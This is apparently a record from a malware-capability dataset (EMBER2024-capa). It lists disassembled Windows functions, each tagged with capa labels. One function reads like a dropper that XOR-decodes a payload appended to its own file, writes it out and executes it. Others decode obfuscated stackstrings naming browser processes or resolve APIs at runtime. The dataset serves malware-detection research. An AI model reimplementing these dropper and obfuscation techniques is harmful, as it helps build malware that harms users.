joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10027749
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10027769
push 0x23d3
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1002787f
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0x53bd
jle 0x100277dd
mov dword [ebp - 4], 1
jmp 0x100277e1
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jge 0x1002780e
mov dword [ebp - 8], 1
jmp 0x10027812
and dword [ebp - 8], 0
push 2
mov ecx, dword [ebp - 0x50]
call fcn.10015051
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp - 8], 9
ja 0x10027830
mov dword [ebp - 0xc], 1
jmp 0x10027834
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax]
add ecx, 0x47f0b4bd
je 0x1002785d
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
je 0x1002785d
mov dword [ebp - 0x1c], 1
jmp 0x10027861
and dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0x97b69e0d
jb 0x10027873
mov dword [ebp - 0x20], 1
jmp 0x10027877
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10029914
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002995b
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, dword [eax]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x10029979
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x10029979
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esp, ebp
pop ebp
ret
Function at 0x1002bc0b
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002bc4e
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
lea eax, [eax*4 + 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [eax + 8]
call fcn.1006483c
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
jmp 0x1002bc70
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1002bc70
push 0x1f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esp, ebp
pop ebp
ret

Function at 0x1002c712
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002c736
xor eax, eax
jmp 0x1002c88f
push 0x6216
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
push 0x4161
push 1
call fcn.1002c399
add esp, 0x18
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002c768
xor eax, eax
jmp 0x1002c88f
push 0x1902
push 1
lea eax, [ebp - 0xc]
push eax
push 0x3c8
lea eax, [ebp - 8]
push eax
call fcn.1002c42e
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1002c791
xor eax, eax
jmp 0x1002c88f
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
push 0x175a
call fcn.1002c4bc
add esp, 0x1c
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
push 1
push 0x3940
lea eax, [ebp - 8]
push eax
push 0x719a
call fcn.1002c540
add esp, 0x18
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x6f31
lea eax, [ebp - 0x14]
push eax
call fcn.1002c5ba
add esp, 0x14
cmp dword [ebp - 0x14], 0
je 0x1002c80c
lea eax, [ebp - 4]
push eax
push 0x36a8
push 1
lea eax, [ebp - 0x14]
push eax
call fcn.1002c61b
add esp, 0x10
push dword [ebp - 4]
call fcn.1002bc74
pop ecx
test eax, eax
jne 0x1002c81d
xor eax, eax
jmp 0x1002c88f
lea eax, [ebp - 4]
push eax
push 0x535d
push 0x6162
push 1
call fcn.1002c68e
add esp, 0x10
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002c877
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002c854
xor eax, eax
jmp 0x1002c88f
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002c86d
xor eax, eax
jmp 0x1002c88f
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002c888
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1002c88c
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10077e15
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10082330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10068c24
mov dword [ebp - 0x14], eax
cmp dword [0x1066ee94], esi
jne 0x10077f08
push 0x800
push esi
push 0x1000795c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10077e95
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10077fe8
push esi
push esi
push 0x1000795c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10077fe8
push 0x10007974
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10077fe8
push eax
call ebx
push 0x10007980
push edi
mov dword [0x1066ee94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007990
push edi
mov dword [0x1066ee98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100079a4
push edi
mov dword [0x1066ee9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066eea4], eax
test eax, eax
je 0x10077f05
push 0x100079c0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066eea0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10077f2d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10077f20
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10077f42
push 4
pop eax
jmp 0x10077fea
cmp dword [ebp - 0x14], esi
je 0x10077f42
push dword [0x1066ee94]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10077f27
mov eax, dword [0x1066eea0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10077fa0
cmp dword [0x1066eea4], edi
je 0x10077fa0
push eax
call ebx
push dword [0x1066eea4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10077fa0
test eax, eax
je 0x10077fa0
call ecx
test eax, eax
je 0x10077f95
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10077f95
test byte [ebp - 8], 1
jne 0x10077fa0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10077fd0
mov eax, dword [0x1066ee98]
cmp eax, edi
je 0x10077fcd
push eax
call ebx
test eax, eax
je 0x10077fcd
call eax
mov esi, eax
test esi, esi
je 0x10077fcd
mov eax, dword [0x1066ee9c]
cmp eax, edi
je 0x10077fcd
push eax
call ebx
test eax, eax
je 0x10077fcd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1066ee94]
call ebx
test eax, eax
je 0x10077fe8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10077fea
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x408939
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
and ebx, ebx
call fcn.00408953
mov eax, 0xf02dcb9
xor dword [esi], edi
inc esi
cmp esi, ecx
jne fcn.00408939
inc ebx
ret
Function at 0x402bc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402bd9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402c14
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402c10
lea ebx, [ebx]
cmp esi, eax
jae 0x402c14
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402c00
cmp esi, eax
jb 0x402c1a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x403e89
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x403ecf
call fcn.00407337
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x403ecf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x403f12
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x403efb
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x403efb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x403f0f
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40c689
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40c6cc
call fcn.00407337
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40c6cc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40c6e7
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040c243
test ebx, ebx
mov esi, eax
je 0x40c6e5
test edi, edi
je 0x40c6e5
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x40e8a8
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40e8d6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40e8f4
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040e812
jmp 0x40e8f4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40e8f4
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0040e812
test edi, edi
mov eax, edi
jne 0x40e8de
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x444690]
test ecx, ecx
je 0x40e9b7
jmp 0x40e8a7
ret 8

Function at 0x41d64e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441720]
jne 0x41d658
repz ret
jmp fcn.004227b7
Function at 0x429aa2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042219e
xor ebx, ebx
cmp dword [0x4454f0], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x429b77
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x429ae2
xor eax, eax
jmp 0x429c3b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x429adb
push eax
call fcn.0042213b
mov dword [esp], 0x436ec4
push edi
mov dword [0x4454f0], eax
call esi
push eax
call fcn.0042213b
mov dword [esp], 0x436eb0
push edi
mov dword [0x4454f4], eax
call esi
push eax
call fcn.0042213b
mov dword [0x4454f8], eax
lea eax, [ebp - 8]
push eax
call fcn.0041e327
test eax, eax
pop ecx
pop ecx
je 0x429b45
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00422e4f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x429b77
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042213b
cmp eax, ebx
pop ecx
mov dword [0x445500], eax
je 0x429b77
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042213b
pop ecx
mov dword [0x4454fc], eax
mov eax, dword [0x4454fc]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x429bf0
cmp dword [0x445500], esi
je 0x429bf0
push eax
call fcn.004221a7
pop ecx
call eax
cmp eax, ebx
je 0x429bbd
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x445500]
call fcn.004221a7
pop ecx
call eax
test eax, eax
je 0x429bbd
test byte [ebp - 0x18], 1
jne 0x429bf0
lea eax, [ebp - 0xc]
push eax
call fcn.0041e35e
test eax, eax
pop ecx
je 0x429bd8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00422e4f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x429be7
or dword [ebp + 0x10], 0x200000
jmp 0x429c21
or dword [ebp + 0x10], 0x40000
jmp 0x429c21
mov eax, dword [0x4454f4]
cmp eax, esi
je 0x429c21
push eax
call fcn.004221a7
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x429c21
mov eax, dword [0x4454f8]
cmp eax, esi
je 0x429c21
push dword [ebp - 4]
push eax
call fcn.004221a7
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4454f0]
call fcn.004221a7
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431474
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x441720]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00431409
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0041e6d0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4314c3
cmp dword [ebp - 0x1c], 5
jb 0x4314db
jmp 0x4314d7
cmp dword [ebp - 0x10], 1
jne 0x4314db
cmp dword [ebp - 0x1c], 4
ja 0x4314d7
jne 0x4314db
cmp dword [ebp - 0x18], 0
jbe 0x4314db
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4388a0
call fcn.004312dd
test eax, eax
jge 0x4314fc
mov byte [0x445694], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041d64e
add ebp, 0x78
leave
ret
Function at 0x10005aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100c2354]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x28], 0x330032
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x28]
mov eax, 0x100c8510
mov dword [ebp - 0x24], 0x350034
mov dword [ebp - 0x20], 0x780065
mov edx, 0x12
mov dword [ebp - 0x1c], 0x6c0070
sub esi, eax
mov dword [ebp - 0x18], 0x72006f
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x65002e
mov dword [ebp - 0xc], 0x650078
nop
lea ecx, [edx + 0x7fffffec]
test ecx, ecx
je 0x10005b1e
movzx ecx, word [esi + eax]
test cx, cx
je 0x10005b1e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x10005b00
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x100c8510
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002ff7e
mov esp, ebp
pop ebp
ret

Function at 0x10005b40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100c2354]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x69006c
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x100c8534
mov dword [ebp - 0x18], 0x620065
mov dword [ebp - 0x14], 0x6f0061
mov edx, 0xc
mov dword [ebp - 0x10], 0x65002e
sub esi, eax
mov dword [ebp - 0xc], 0x650078
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x10005bae
movzx ecx, word [esi + eax]
test cx, cx
je 0x10005bae
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x10005b90
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x100c8534
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002ff7e
mov esp, ebp
pop ebp
ret

Function at 0x10005bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100c2354]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x100c84e8
mov dword [ebp - 0x28], 0x6f0073
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0x6f0067
mov dword [ebp - 0x20], 0x650075
mov edx, 0x13
mov dword [ebp - 0x1c], 0x700078
sub esi, eax
mov dword [ebp - 0x18], 0x6f006c
mov dword [ebp - 0x14], 0x650072
mov dword [ebp - 0x10], 0x2e0072
mov dword [ebp - 0xc], 0x780065
mov dword [ebp - 8], 0x65
nop
lea ecx, [edx + 0x7fffffeb]
test ecx, ecx
je 0x10005c4e
movzx ecx, word [esi + eax]
test cx, cx
je 0x10005c4e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x10005c30
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x100c84e8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002ff7e
mov esp, ebp
pop ebp
ret